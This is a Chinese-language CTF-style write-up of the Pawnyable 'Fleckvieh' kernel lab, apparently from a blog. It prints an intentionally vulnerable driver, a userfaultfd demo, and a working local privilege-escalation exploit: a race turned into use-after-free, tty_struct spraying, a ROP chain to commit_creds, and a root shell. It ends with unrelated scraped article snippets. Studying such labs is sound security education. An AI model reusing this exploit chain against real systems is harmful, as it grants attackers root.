0015-TIPS-pawnyable : userfaultfd

news/2024/11/8 23:14:04/

原文
Linux Kernel PWN | 040303 Pawnyable之userfaultfd
userfaultfdの利用
题目下载

代码分析

#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/random.h>
#include <linux/slab.h>
#include <linux/uaccess.h>MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Fleckvieh - Vulnerable Kernel Driver for Pawnyable");#define DEVICE_NAME "fleckvieh"
#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004typedef struct {int id;size_t size;char *data;
} request_t;typedef struct {int id;size_t size;char *data;struct list_head list;
} blob_list;static int module_open(struct inode *inode, struct file *filp) {/* Allocate list head */filp->private_data = (void*)kmalloc(sizeof(struct list_head), GFP_KERNEL);if (unlikely(!filp->private_data))return -ENOMEM;INIT_LIST_HEAD((struct list_head*)filp->private_data);return 0;
}static int module_close(struct inode *inode, struct file *filp) {struct list_head *top;blob_list *itr, *tmp;/* Remove everything */top = (struct list_head*)filp->private_data;tmp = NULL;list_for_each_entry_safe(itr, tmp, top, list) {list_del(&itr->list);kfree(itr->data);kfree(itr);}kfree(top);return 0;
}blob_list *blob_find_by_id(struct list_head *top, int id) {blob_list *itr;/* Find blob by id */list_for_each_entry(itr, top, list) {if (unlikely(itr->id == id)) return itr;}return NULL;
}long blob_add(struct list_head *top, request_t *req) {blob_list *new;/* Check size */if (req->size > 0x1000)return -EINVAL;/* Allocate a new blob structure */new = (blob_list*)kmalloc(sizeof(blob_list), GFP_KERNEL);if (unlikely(!new)) return -ENOMEM;/* Allocate data buffer */new->data = (char*)kmalloc(req->size, GFP_KERNEL);if (unlikely(!new->data)) {kfree(new);return -ENOMEM;}/* Copy data from user buffer */if (unlikely(copy_from_user(new->data, req->data, req->size))) {kfree(new->data);kfree(new);return -EINVAL;}new->size = req->size;INIT_LIST_HEAD(&new->list);/* Generate a random positive integer */do {get_random_bytes(&new->id, sizeof(new->id));} while (unlikely(new->id < 0));/* Insert to list */list_add(&new->list, top);return new->id;
}long blob_del(struct list_head *top, request_t *req) {blob_list *victim;if (!(victim = blob_find_by_id(top, req->id)))return -EINVAL;/* Delete the item */list_del(&victim->list);kfree(victim->data);kfree(victim);return req->id;
}long blob_get(struct list_head *top, request_t *req) {blob_list *victim;if (!(victim = blob_find_by_id(top, req->id)))return -EINVAL;/* Check size */if (req->size > victim->size)return -EINVAL;/* Copy data to user */if (unlikely(copy_to_user(req->data, victim->data, req->size)))return -EINVAL;return req->id;
}long blob_set(struct list_head *top, request_t *req) {blob_list *victim;if (!(victim = blob_find_by_id(top, req->id)))return -EINVAL;/* Check size */if (req->size > victim->size)return -EINVAL;/* Copy data from user */if (unlikely(copy_from_user(victim->data, req->data, req->size)))return -EINVAL;return req->id;
}static long module_ioctl(struct file *filp,unsigned int cmd,unsigned long arg) {struct list_head *top;request_t req;if (unlikely(copy_from_user(&req, (void*)arg, sizeof(req))))return -EINVAL;top = (struct list_head*)filp->private_data;switch (cmd) {case CMD_ADD: return blob_add(top, &req);case CMD_DEL: return blob_del(top, &req);case CMD_GET: return blob_get(top, &req);case CMD_SET: return blob_set(top, &req);default: return -EINVAL;}
}static struct file_operations module_fops = {.owner   = THIS_MODULE,.open    = module_open,.release = module_close,.unlocked_ioctl = module_ioctl
};static dev_t dev_id;
static struct cdev c_dev;static int __init module_initialize(void)
{if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))return -EBUSY;cdev_init(&c_dev, &module_fops);c_dev.owner = THIS_MODULE;if (cdev_add(&c_dev, dev_id, 1)) {unregister_chrdev_region(dev_id, 1);return -EBUSY;}return 0;
}static void __exit module_cleanup(void)
{cdev_del(&c_dev);unregister_chrdev_region(dev_id, 1);
}module_init(module_initialize);
module_exit(module_cleanup);

打开驱动

会创建一个双向链表,并将filp->private_data指向这个双向链表
在这里插入图片描述

blob_add

  • 创建一个struct blob_list节点,
  • 并根据参数req-size传递的长度,创建一个堆空间,blob_list->data指向这个堆空间,
  • 再通过copy_from_user,将参数req->data指向的用户空间的内容复制到blob_list->data中,
  • 之后将req->size也就是req->data的长度值赋值给blob_list->size
  • 接着初始化blob_list->list双向链表,并链入到filp->private_data
  • 最后生成一个随机数,赋值到blob_list->id中,并返回给调用者,用来索引该节点
    在这里插入图片描述

blob_del

  • 通过参数req->id索引到blob_list节点
  • 将该节点从filp->private_data双向链表中断开
  • 删除blob_list->data指向的堆空间
  • 删除struct blob_list节点占据的空间

blob_get

  • 通过参数req->id索引到blob_list节点
  • 通过copy_to_userblob_list->data中的内容复制到参数req->data指向的用户空间

blob_set

  • 通过参数req->id索引到blob_list节点
  • 通过copy_from_user将参数req->data指向用户空间的内容复制到blob_list->data指向的内核空间

漏洞分析

代码存在条件竞争,并可转换为UAF漏洞

条件竞争->UAF:实现内核地址泄露

  1. 线程1新增一个链表节点A(blob_add)
    在这里插入图片描述
  2. 线程1对链表节点A执行查询操作(blob_get);在copy_to_user执行前,线程2对链表节点A执行删除操作(blob_del),并喷射tty_struct占位(依赖于blob_add是传递参数req->size的值)
    在这里插入图片描述
  3. 线程1执行copy_to_user,实际上将某个tty_struct的内容复制到了用户空间

条件竞争->UAF:实现控制流劫持

转化为UAF漏洞并实现控制流劫持所需的竞态状态:
1.线程1新增一个链表节点B(blob_add)
在这里插入图片描述

2.线程1对链表节点B执行查询操作(blob_set);在copy_from_user执行前,线程2对链表节点B执行删除操作(blob_del),并喷射tty_struct占位
在这里插入图片描述
3.线程1执行copy_from_user,实际上将占位的tty_struct内容替换成了攻击者的伪造tty_struct

条件竞争点在于,在执行copy_to_usercopy_from_user前,需要完成blob_list节点的删除,和堆喷的重新占位,这个难度较大,但是userfaultfd可以解决当前题目环境的问题。

userfaultfd解析

参考

man ioctl_userfaultfd
man userfaultfd

userfaultfd的功能

userfaultfd用于处理用户态缺页异常。比如mmap分配一段内存空间,此刻这段这段内存空间没有与物理页挂钩,只有实际对该空间进行读/写时,才通过缺页异常进入内核态挂载物理页。
现在可以通过userfaultfd机制,在用户态处理这个缺页异常。

比方,mmap 4页大小的虚拟空间,现在还没有挂上物理页
在这里插入图片描述
现在要往这段空间写入大量的数据,4 * 0x1000字节的数据。由于4 * 0x1000是4个page页的大小,每个页都会触发一次缺页异常,因此每个页都会触发一次userfaultfd
在这里插入图片描述
在经过userfaultfd处理后,这段4 * 0x1000虚拟空间都挂上了物理页,以后对这些虚拟空间的读写就不会发生缺页异常,因此对于每一个page大小的虚拟空间,userfaultfd只触发一次

现在看看userfaultfd是怎么进行处理的
(步骤5大概就是这意思,我不知道是挂载的原始页,还是再生成新页,再把新页挂载到虚拟空间上?)
对于写
在这里插入图片描述
对于读
在这里插入图片描述

userfaultfd 操作逻辑

  • 1、要使用userfaultfd功能,需要通过系统调用获取操作userfaultfd的文件句柄,假设获取到的句柄是uffd
    • int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
  • 2、通过uffd配置userfaultfd功能版本,缺页类型
    • ioctl(uffd, UFFDIO_API, &uffdio_api)
  • 3、通过uffd配置注册缺页监控范围
    • ioctl(uffd, UFFDIO_REGISTER, &uffdio_register)
  • 4、通过uffd文件描述符轮询缺页事件(由于从轮询事件会发生阻塞,所以从这一步往下需要放到一个新线程中)
    • pthread_create(&th, NULL, fault_handler_thread, (void *)uffd)
  • 5、通过uffd配置处理缺页事件
    • ioctl(uffd, UFFDIO_COPY, &copy)

推荐看这三个文档
man ioctl_userfaultfd
man userfaultfd
https://www.kernel.org/doc/html/next/admin-guide/mm/userfaultfd.html
https://xz.aliyun.com/t/6653

再结合如下demo进行理解

/*
serfaultfd机制允许多线程程序中的某个线程为其他线程提供用户空间页面——如果该线程将这些页面注册到了userfaultfd对象上,
那么当针对这些页面的缺页异常发生时,触发缺页异常的线程将暂停运行,内核将生成一个缺页异常事件并通过userfaultfd文件描述符传递给异常处理线程。
异常处理线程可以做一些处理,然后唤醒之前暂停的线程该程序首先使用mmap在用户空间分配两个匿名页,接着创建userfaultfd,并启动一个线程来处理缺页异常。
然后,主线程尝试向先前申请的两个匿名页依次写入数据。
针对这两个页的第一次读操作将触发两次缺页异常,子线程将从阻塞态恢复并执行处理逻辑。
针对同一页面的第二次及之后的读写操作将不再触发缺页异常
*/
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>void fatal(const char *msg) {perror(msg);exit(1);
}static void *fault_handler_thread(void *arg) {char *dummy_page;static struct uffd_msg msg;struct uffdio_copy copy;struct pollfd pollfd;long uffd;static int fault_cnt = 0;uffd = (long)arg;puts("[t][*] mmaping one dummy page");dummy_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (dummy_page == MAP_FAILED)fatal("mmap(dummy)");puts("[t][*] waiting for page fault");pollfd.fd = uffd;pollfd.events = POLLIN;while (poll(&pollfd, 1, -1) > 0) {if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)fatal("poll");// block until triggered// 非阻塞I/O使我们的操作要么成功,要么立即返回错误,不被阻塞if (read(uffd, &msg, sizeof(msg)) <= 0)fatal("read(uffd)");assert(msg.event == UFFD_EVENT_PAGEFAULT);puts("[t][+] caught page fault");printf("[t][+] uffd: flag=0x%llx, addr=0x%llx\n", msg.arg.pagefault.flags, msg.arg.pagefault.address);// craft data and copyputs("[t][*] writing hello world into dummy page");if (fault_cnt++ == 0)strcpy(dummy_page, "Hello, world! (1)");elsestrcpy(dummy_page, "Hello, world! (2)");puts("[t][*] copying data from dummy page to faulted page");copy.src = (unsigned long)dummy_page;copy.dst = (unsigned long)msg.arg.pagefault.address & ~0xfff;copy.len = 0x1000;copy.mode = 0;copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &copy) == -1)fatal("ioctl(UFFDIO_COPY)");}return NULL;
}int register_uffd(void *addr, size_t len) {struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;long uffd;pthread_t th;puts("[*] registering userfaultfd");uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);if (uffd == -1)fatal("userfaultfd");uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)fatal("ioctl(UFFDIO_API)");uffdio_register.range.start = (unsigned long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)fatal("UFFDIO_REGISTER");puts("[*] spawning a fault handler thread");if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))fatal("pthread_create");return 0;
}int main() {void *page;page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (page == MAP_FAILED)fatal("mmap");printf("[+] mmap two pages at 0x%llx\n", (long long unsigned int)page);register_uffd(page, 0x2000);char buf[0x100];puts("[*] reading from page#1");strcpy(buf, (char *)(page));printf("[+] 0x0000: %s\n", buf);puts("[*] reading from page#2");strcpy(buf, (char *)(page + 0x1000));printf("[+] 0x1000: %s\n", buf);puts("[*] reading from page#1");strcpy(buf, (char *)(page));printf("[+] 0x0000: %s\n", buf);puts("[*] reading from page#2");strcpy(buf, (char *)(page + 0x1000));printf("[+] 0x1000: %s\n", buf);getchar();return 0;
}
/*
[+] mmap two pages at 0x7f0ed2616000
[*] registering userfaultfd
[*] spawning a fault handler thread
[t][*] mmaping one dummy page
[t][*] waiting for page fault
[*] reading from page#1
[t][+] catched page fault
[t][+] uffd: flag=0x0, addr=0x7f0ed2616000
[t][*] writing hello world into dummy page
[t][*] copying data from dummy page to faulted page
[+] 0x0000: Hello, world! (1)
[*] reading from page#2
[t][+] catched page fault
[t][+] uffd: flag=0x0, addr=0x7f0ed2617000
[t][*] writing hello world into dummy page
[t][*] copying data from dummy page to faulted page
[+] 0x1000: Hello, world! (2)
[*] reading from page#1
[+] 0x0000: Hello, world! (1)
[*] reading from page#2
[+] 0x1000: Hello, world! (2)
*/

漏洞利用

对于本体,只要用户空间被userfaultfd监控,条件竞争就能稳定触发成功
在这里插入图片描述

poc

#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004#define SPRAY_NUM 0x10#define ofs_tty_ops 0xc3c3c0void fatal(const char *msg) {perror(msg);exit(1);
}typedef struct {long id;size_t size;char *data;
} request_t;int ptmx[SPRAY_NUM];
cpu_set_t pwn_cpu;
int victim;
int fd;
char *buf;
unsigned long kbase, kheap;int add(char *data, size_t size) {request_t req = {.size = size, .data = data};int r = ioctl(fd, CMD_ADD, &req);if (r == -1)fatal("blob_add");return r;
}int del(int id) {request_t req = {.id = id};int r = ioctl(fd, CMD_DEL, &req);if (r == -1)fatal("blob_del");return r;
}int get(int id, char *data, size_t size) {request_t req = {.id = id, .size = size, .data = data};int r = ioctl(fd, CMD_GET, &req);if (r == -1)fatal("blob_get");return r;
}int set(int id, char *data, size_t size) {request_t req = {.id = id, .size = size, .data = data};int r = ioctl(fd, CMD_SET, &req);if (r == -1)fatal("blob_set");return r;
}static void *fault_handler_thread(void *arg) {static struct uffd_msg msg;struct uffdio_copy copy;struct pollfd pollfd;long uffd;static int fault_cnt = 0;puts("[t][*] set cpu affinity");if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))fatal("sched_setaffinity");uffd = (long)arg;puts("[t][*] waiting for page fault");pollfd.fd = uffd;pollfd.events = POLLIN;while (poll(&pollfd, 1, -1) > 0) {if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)fatal("poll");if (read(uffd, &msg, sizeof(msg)) <= 0)fatal("read(uffd)");assert(msg.event == UFFD_EVENT_PAGEFAULT);puts("[t][+] caught page fault");switch (fault_cnt++) {case 0:case 1: {puts("[t][*] crafting UAF");puts("[t][*] deleting victim blob");del(victim);printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);for (int i = 0; i < SPRAY_NUM; i++) {ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (ptmx[i] == -1)fatal("/dev/ptmx");}// just reuse the buf in user landcopy.src = (unsigned long)buf;break;}}copy.dst = (unsigned long)msg.arg.pagefault.address;copy.len = 0x1000;copy.mode = 0;copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &copy) == -1)fatal("ioctl(UFFDIO_COPY)");}return NULL;
}int register_uffd(void *addr, size_t len) {struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;long uffd;pthread_t th;puts("[*] registering userfaultfd");uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);if (uffd == -1)fatal("userfaultfd");uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)fatal("ioctl(UFFDIO_API)");uffdio_register.range.start = (unsigned long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)fatal("UFFDIO_REGISTER");puts("[*] spawning a fault handler thread");if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))fatal("pthread_create");return 0;
}int main() {puts("[*] set cpu affinity");CPU_ZERO(&pwn_cpu);CPU_SET(0, &pwn_cpu);if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))fatal("sched_setaffinity");fd = open("/dev/fleckvieh", O_RDWR);if (fd == -1)fatal("/dev/fleckvieh");void *page;page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (page == MAP_FAILED)fatal("mmap");printf("[+] mmap two pages at 0x%llx\n", (long long unsigned int)page);register_uffd(page, 0x2000);buf = (char *)malloc(0x1000);victim = add(buf, 0x400);set(victim, "Hello", 6);puts("[*] UAF#1 leak kbase");puts("[*] reading 0x20 bytes from victim blob to page#1");get(victim, page, 0x20);kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops;for (int i = 0; i < SPRAY_NUM; i++)close(ptmx[i]);puts("[*] UAF#2 leak kheap");victim = add(buf, 0x400);puts("[*] reading 0x400 bytes from victim blob to page#2");get(victim, page + 0x1000, 0x400);kheap = *(unsigned long *)(page + 0x1038) - 0x38;for (int i = 0; i < SPRAY_NUM; i++)close(ptmx[i]);printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap);return 0;
}
/*
~ $ /exploit
[*] set cpu affinity
[+] mmap two pages at 0x7fe0ac175000
[*] registering userfaultfd
[*] spawning a fault handler thread
[*] UAF#1 leak kbase
[*] reading 0x20 bytes from victim blob to page#1
[t][*] set cpu affinity
[t][*] waiting for page fault
[t][+] caught page fault
[t][*] crafting UAF
[t][*] deleting victim blob
[t][*] spraying 16 tty_struct objects
[*] UAF#2 leak kheap
[*] reading 0x400 bytes from victim blob to page#2
[t][+] caught page fault
[t][*] crafting UAF
[t][*] deleting victim blob
[t][*] spraying 16 tty_struct objects
[+] leaked kbase: 0xffffffff81000000, kheap: 0xffff8880030cc800
*/

exp

#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004#define SPRAY_NUM 0x10
#define ofs_tty_ops 0xc3c3c0#define push_rdx_pop_rsp_pop_ret (kbase + 0x09b13a)
#define commit_creds (kbase + 0x072830)
#define pop_rdi_ret (kbase + 0x09b0ed)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)
#define init_cred (kbase + 0xe37480)void fatal(const char *msg) {perror(msg);exit(1);
}typedef struct {long id;size_t size;char *data;
} request_t;unsigned long user_cs, user_ss, user_sp, user_rflags;void spawn_shell() {puts("[+] returned to user land");uid_t uid = getuid();if (uid == 0) {printf("[+] got root (uid = %d)\n", uid);} else {printf("[!] failed to get root (uid: %d)\n", uid);exit(-1);}puts("[*] spawning shell");system("/bin/sh");exit(0);
}void save_userland_state() {puts("[*] saving user land state");__asm__(".intel_syntax noprefix;""mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;"".att_syntax");
}int ptmx[SPRAY_NUM];
cpu_set_t pwn_cpu;
int victim;
int fd;
char *buf;
unsigned long kbase, kheap;int add(char *data, size_t size) {request_t req = {.size = size, .data = data};int r = ioctl(fd, CMD_ADD, &req);if (r == -1)fatal("blob_add");return r;
}int del(int id) {request_t req = {.id = id};int r = ioctl(fd, CMD_DEL, &req);if (r == -1)fatal("blob_del");return r;
}int get(int id, char *data, size_t size) {request_t req = {.id = id, .size = size, .data = data};int r = ioctl(fd, CMD_GET, &req);if (r == -1)fatal("blob_get");return r;
}int set(int id, char *data, size_t size) {request_t req = {.id = id, .size = size, .data = data};int r = ioctl(fd, CMD_SET, &req);if (r == -1)fatal("blob_set");return r;
}static void *fault_handler_thread(void *arg) {static struct uffd_msg msg;struct uffdio_copy copy;struct pollfd pollfd;long uffd;static int fault_cnt = 0;puts("[t][*] set cpu affinity");if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))fatal("sched_setaffinity");uffd = (long)arg;puts("[t][*] waiting for page fault");pollfd.fd = uffd;pollfd.events = POLLIN;while (poll(&pollfd, 1, -1) > 0) {if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)fatal("poll");if (read(uffd, &msg, sizeof(msg)) <= 0)fatal("read(uffd)");assert(msg.event == UFFD_EVENT_PAGEFAULT);puts("[t][+] caught page fault");switch (fault_cnt++) {case 0:case 1: {puts("[t][*] UAF read");del(victim);printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);for (int i = 0; i < SPRAY_NUM; i++) {ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (ptmx[i] == -1)fatal("/dev/ptmx");}copy.src = (unsigned long)buf;break;}case 2: {puts("[t][*] UAF write");printf("[t][*] spraying %d fake tty_struct objects (blob)\n", 0x100);for (int i = 0; i < 0x100; i++)add(buf, 0x400);del(victim);printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);for (int i = 0; i < SPRAY_NUM; i++) {ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (ptmx[i] == -1)fatal("/dev/ptmx");}copy.src = (unsigned long)buf;break;}default:fatal("[t][-] unexpected page fault");}copy.dst = (unsigned long)msg.arg.pagefault.address;copy.len = 0x1000;copy.mode = 0;copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &copy) == -1)fatal("ioctl(UFFDIO_COPY)");}return NULL;
}int register_uffd(void *addr, size_t len) {struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;long uffd;pthread_t th;puts("[*] registering userfaultfd");uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);if (uffd == -1)fatal("userfaultfd");uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)fatal("ioctl(UFFDIO_API)");uffdio_register.range.start = (unsigned long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)fatal("UFFDIO_REGISTER");puts("[*] spawning a fault handler thread");if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))fatal("pthread_create");return 0;
}int main() {save_userland_state();puts("[*] set cpu affinity");CPU_ZERO(&pwn_cpu);CPU_SET(0, &pwn_cpu);if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))fatal("sched_setaffinity");fd = open("/dev/fleckvieh", O_RDWR);if (fd == -1)fatal("/dev/fleckvieh");void *page;page = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (page == MAP_FAILED)fatal("mmap");printf("[+] mmap three pages at 0x%llx\n", (long long unsigned int)page);register_uffd(page, 0x3000);buf = (char *)malloc(0x1000);puts("[*] UAF#1 leak kbase");puts("[*] reading 0x20 bytes from victim blob to page#1");victim = add(buf, 0x400);get(victim, page, 0x20);kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops;for (int i = 0; i < SPRAY_NUM; i++)close(ptmx[i]);puts("[*] UAF#2 leak kheap");victim = add(buf, 0x400);puts("[*] reading 0x400 bytes from victim blob to page#2");get(victim, page + 0x1000, 0x400);kheap = *(unsigned long *)(page + 0x1038) - 0x38;for (int i = 0; i < SPRAY_NUM; i++)close(ptmx[i]);printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap);puts("[*] crafting fake tty_struct in buf");memcpy(buf, page + 0x1000, 0x400);unsigned long *tty = (unsigned long *)buf;tty[0] = 0x0000000100005401;              // magictty[2] = *(unsigned long *)(page + 0x10); // devtty[3] = kheap;                           // opstty[12] = push_rdx_pop_rsp_pop_ret;       // ops->ioctlputs("[*] crafting rop chain");unsigned long *chain = (unsigned long *)(buf + 0x100);*chain++ = 0xdeadbeef; // pop*chain++ = pop_rdi_ret;*chain++ = init_cred;*chain++ = commit_creds;*chain++ = swapgs_restore_regs_and_return_to_usermode;*chain++ = 0x0;*chain++ = 0x0;*chain++ = (unsigned long)&spawn_shell;*chain++ = user_cs;*chain++ = user_rflags;*chain++ = user_sp;*chain++ = user_ss;puts("[*] UAF#3 write rop chain");victim = add(buf, 0x400);set(victim, page + 0x2000, 0x400);puts("[*] invoking ioctl to hijack control flow");for (int i = 0; i < SPRAY_NUM; i++)ioctl(ptmx[i], 0, kheap + 0x100);getchar();return 0;
}
/*
~ $ /exploit
[*] saving user land state
[*] set cpu affinity
[+] mmap three pages at 0x7faf152a4000
[*] registering userfaultfd
[*] spawning a fault handler thread
[*] UAF#1 leak kbase
[*] reading 0x20 bytes from victim blob to page#1
[t][*] set cpu affinity
[t][*] waiting for page fault
[t][+] caught page fault
[t][*] UAF read
[t][*] spraying 16 tty_struct objects
[*] UAF#2 leak kheap
[*] reading 0x400 bytes from victim blob to page#2
[t][+] caught page fault
[t][*] UAF read
[t][*] spraying 16 tty_struct objects
[+] leaked kbase: 0xffffffffbe000000, kheap: 0xffffa15381cda400
[*] crafting fake tty_struct in buf
[*] crafting rop chain
[*] UAF#3 write rop chain
[t][+] caught page fault
[t][*] UAF write
[t][*] spraying 256 fake tty_struct objects (blob)
[t][*] spraying 16 tty_struct objects
[*] invoking ioctl to hijack control flow
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ # id
uid=0(root) gid=0(root)
*/

http://www.ppmy.cn/news/505874.html

相关文章

【主板上各种接口和附属部件科普】

https://zhuanlan.zhihu.com/p/53379889 前言&#xff1a; 下一篇文章我打算简单介绍如何挑选主板&#xff0c;那么在下一篇文章写出来之前&#xff0c;我们先简单了解一下主板上那些沟沟槽槽&#xff0c;点点块块&#xff0c;详细了解一下主板各个接口以及附属部件的功能。顺带…

【问题解决】【linux的双显示器无法识别的问题】【HDMI-1-1 disconnected (normal left inverted right x axis y axis)】

[TOC](【问题解决】【linux的双显示器无法识别的问题】【HDMI-1-1 disconnected (normal left inverted right x axis y axis)】) 0 前言 如果你是刚开机就解决这个问题&#xff0c;很简单&#xff0c;参考添加链接描述&#xff0c;切记关闭BIOS的安全启动security boot&…

GreasyFork+Github

GreasyForkGithub 好长时间没用 GreasyFork 了&#xff0c;最近在刷 Spring Boot 的各种知识点&#xff0c;其中很大时间都在学习 baeldung.com 这个站点。不知道是因为最近刷的勤了还是怎么的&#xff0c;这个网站经常会弹出一个“让我关闭广告阻拦插件”的提示框&#xff0c…

i9级E52450处理器_给你的电脑私装蓝牙WIFI?华硕皇帝级主板增加WIFI模块上I9处理器...

华硕的M9系列皇帝级主板是当年少有的使用DR-MOS的主机板。 但是大部分版本&#xff0c;都有一个遗憾&#xff0c;就是没有WIFI-GO的模块。 确实在网络上偶尔能见到一片两片珍稀的存在&#xff0c; 但魔改君则一直没有见到。 这次有个粉丝&#xff0c;对WIFI有强大的需求&#x…

【Matlab】语音信号分析与处理实验报告

一、目的 使用Matlab分析与设计实验&#xff0c;理解与掌握以下知识点&#xff1a; 1、信号的采样、频谱混叠 2、信号的频谱分析 3、信号的幅度调制与解调方法 4、理想滤波器的时域和频域特性 5、数字滤波器的设计与实现 二、内容 1、录制一段个人的语音信号 2、采用合适的频…

TFN HD15D 燃气管道PE管定位仪 便捷查找燃气/PE管道

TFN推出有源振动信号量化分析技术的智能燃气PE管道声波定位仪HD11&#xff0c;HD11以其无需听音、无需经验、容易操作、定位精准和测距更远及测深更深等特点受到客户一致好评并取得了骄人的销售业绩。在次基础上TFN又推出了基于听音技术的智能燃气PE管道定位仪HD13&#xff0c;…

VR硬件盘点:虚拟现实离我们还有多远

三星近日爆出新闻&#xff0c;有可能在年底发布HMD(头盔式全景虚拟现实眼镜&#xff09;&#xff0c;联想到发生在两个月前的Facebook 25亿收购Oculus案例&#xff0c;及索尼近日Project Morpheus的传闻&#xff0c;新一批价格适中&#xff0c;性能稳定&#xff0c;有可能大规模…

热度下的冷思考——智能眼镜到底有没有前途?

来源&#xff1a;环球网 我们曾期望Google眼镜能够成为革命性的新产品&#xff0c;因为它某种程度上实现了大家对未来的幻想。 然而Google眼镜作为概念产品虽然有趣&#xff0c;但它仍然太不成熟&#xff0c;而且因为存在侵犯隐私的可能还被大众抵触&#xff0c;更重要的是它花…